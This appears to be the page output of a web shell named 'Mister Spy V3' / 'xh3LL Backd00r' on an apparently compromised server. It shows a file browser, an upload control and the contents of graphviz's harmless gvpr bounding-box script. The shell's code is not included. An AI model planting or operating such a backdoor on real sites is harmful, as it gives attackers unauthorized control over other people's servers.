Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/graphviz/gvpr/
Upload File :
Current File : //usr/share/graphviz/gvpr/bbox

/* computes the bounding box of a graph based on node positions */
BEGIN {
  double xmin, ymin, xmax, ymax;
  xmin = ymin = 1.7976931348623157e+308;
  xmax = ymax = -ymin;
  double x, y;
}
N {
  if (sscanf ($.pos, "%f,%f", &x, &y) == 2) {
    if (x < xmin) xmin = x;
    if (y < ymin) ymin = y;
    if (x > xmax) xmax = x;
    if (y > ymax) ymax = y;
  }
}

END {
  printf ("(%f,%f) (%f,%f)\n", xmin,  ymin, xmax, ymax);
  if (ARGC) printf ("area = %f aspect = %f\n", ((xmax-xmin)*(ymax-ymin))/1000000., (xmax-xmin)/(ymax-ymin));
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat